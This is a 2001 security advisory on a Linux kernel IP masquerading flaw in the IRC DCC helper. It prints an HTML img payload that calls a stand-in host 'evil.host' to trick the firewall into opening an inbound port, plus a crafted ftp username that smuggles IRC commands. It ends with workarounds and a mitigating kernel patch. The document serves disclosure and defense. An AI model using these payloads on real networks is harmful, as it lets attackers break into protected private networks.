Linux kernel IP masquerading vulnerability

   Issue Date: July 30, 2001
   Contact: Michal Zalewski
   
Topic:

   A remotely exploitable IP masquerading vulnerability in the Linux kernel
   can be used to penetrate protected private networks.
   
Affected Platforms:

   Linux 2.0, Linux 2.2, and possibly other systems
   
Details:

   There was a discussion last year that detailed exploiting NAT packet
   inspection mechanisms on Linux and other operating systems by forcing a
   client's browser or MUA software to send specific data patterns without
   the user's knowledge (see http://www.securityfocus.com/archive/82/50226)
   in order to open an inbound TCP port on the firewall. The original
   advisory by Mikael Olsson discussed the FTP masquerading helper
   vulnerability. When found in outbound traffic, the specific pattern sent
   by the client software is interpreted by the firewall as being a
   legitimate, user-initiated transfer request. Certain external systems
   are then temporarily allowed to initiate inbound connections to the
   location specified in the malicious packet by using the firewall as a
   packet forwarder.
   
   Appropriate (but not necessarily sufficient - see the later
   explanations) workarounds were incorporated in Linux kernels released
   after the original advisory and are now present in numerous firewall
   operating systems.
   
   Unfortunately, protocols other than those mentioned in the original
   discussions seem to be vulnerable as well. We found that IRC DCC helper
   (the Linux 2.2 ip_masq_irc module, and modules shipped with some other
   operating systems / firewalling software) can be exploited with
   
   <img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">
   
   or another similar pattern, depending on the helper implementation
   details ("addr" is the internal machine's IP address as a decimal
   integer).
   
   This sequence can be crafted in an HTML e-mail or on a visited webpage.
   The attacker should listen on tcp port 6667 on the specified remote host
   ("evil.host") and generate valid FTP protocol responses. The attacker
   will then receive information about the port number on the firewall that
   will be forwarded into the protected network. See the discussion in the
   original advisory for more details on this attack.
   
Workarounds:

   This new NAT server vulnerability related to DCC simply adds to the
   collection of similar vulnerabilities found in various other protocols,
   none of which have been fixed in any comprehensive way. In general, the
   following five types of workarounds might be used:
   
   1) Configure the NAT server to only allow a certain range of ports in
   processed requests. This workaround (only ports above 1024 are allowed)
   is currently implemented by Linux and other vendors. Unfortunately, this
   does not stop attacks or scans against any of the other thousands of
   high-port services - among the most significant of these are NFS, X11,
   Microsoft SQL Server, various RPC services, various HTTP proxy/cache
   services, and various remote management/diagnostic services.
   
   2) Have the firewall do more careful inspection of protocol traffic.
   This could identify and block noncompliant IRC client behavior, such as
   the behavior of an HTML e-mail client when accessing an ftp URL.
   Unfortunately, this requires very careful protocol tracking, and can be
   fooled by careful URL construction (e.g., passing the following string
   as the ftp username:
   "evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker") and
   response fragmentation, or by using a Java applet.
   
   3) Use a personal firewall (e.g., ZoneAlarm) on the internal machine
   that asks for user verification before connecting to an unusual port
   (6667) or before accepting suspected forwarded connections. Suitable
   personal firewalls may not be available for every OS.
   
   4) Research, design, and develop some way for the NAT server to ask the
   internal user whether he really requested an inbound port (e.g.,
   one-time challenge-response authentication).
   
   5) Don't install helper modules on your NAT server. For any protocol
   that needs a helper, require users to deploy a tunnel instead.
   
Vendor Response/Fix Information:

   Below is a patch against Linux 2.2.20pre kernel written by the IP
   masquerading subsystem maintainer, Juanjo Ciarlante
   <jjo@mendoza.gov.ar>. It is supposed to minimize potential impact caused
   by this vulnerability. Note that it does not completely fix the problem
   (see discussion above).
   
   Additionally, as suggested by Alexey Kuznetsov <kuznet@ms2.inr.ac.ru>,
   it is possible to limit the potential impact by carefully setting output
   chain rules (note that forwarding chain is bypassed by IP current
   masquerading rules table).
--- linux-2.2.20pre/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
+++ linux-2.2.20pre/net/ipv4/ip_masq_irc.c      Fri Jul 27 18:45:29 2001
@@ -38,7 +38,12 @@
  *     /etc/conf.modules (or /etc/modules.conf depending on your config)
  *     where modload will pick it up should you use modload to load your
  *     modules.
- *
+ *
+ * Insecure "back" data channel opening
+ *     The helper does some trivial checks when opening a new DCC data
+ *     channel. Use module parameter
+ *             insecure=1
+ *     ... to avoid this and get previous (pre 2.2.20) behaviour.
  */

 #include <linux/config.h>
@@ -72,6 +77,9 @@

 MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");

+static int insecure=0;
+MODULE_PARM(insecure, "i");
+

 /*
  * List of supported DCC protocols
@@ -110,6 +118,29 @@
         return 0;
 }

+
+/*
+ *     Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ *     The <1024 check and same source address just raise the
+ *     security "feeling" => they don't prevent a redirector listening
+ *     in same src address at a higher port; you should protect
+ *     your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct iphdr *iph, __u32 data_saddr,
__u16 data_sport) {
+       int allow=1;
+       /*      Compatibility   */
+       if (insecure)
+               goto out;
+       /*
+        *      Ignore data channel back to other src addr, nor to port < 1024
+        */
+       if (iph->saddr != data_saddr || data_sport < 1024)
+               allow=0;
+out:
+       return allow;
+}
 int
 masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb
_p, __u32 maddr)
 {
@@ -198,6 +229,11 @@

                                s_port = simple_strtoul(data,&data,10);
                                addr_end_p = data;
+
+                               /*      Simple validation       */
+                               if (!masq_irc_out_check(iph, s_addr, s_port))
+                                               /* We may just: return 0; */
+                                       continue;

                                /*      Do we already have a port open for this c
lient?
                                 *      If so, use it (for DCC ACCEPT)
     ___________________________________________________________________
   
References:

Original post to Vuln-Dev by Mikael Olsson:

     Extending the FTP "ALG" vulnerability to any FTP client
     (http://www.securityfocus.com/archive/82/50226)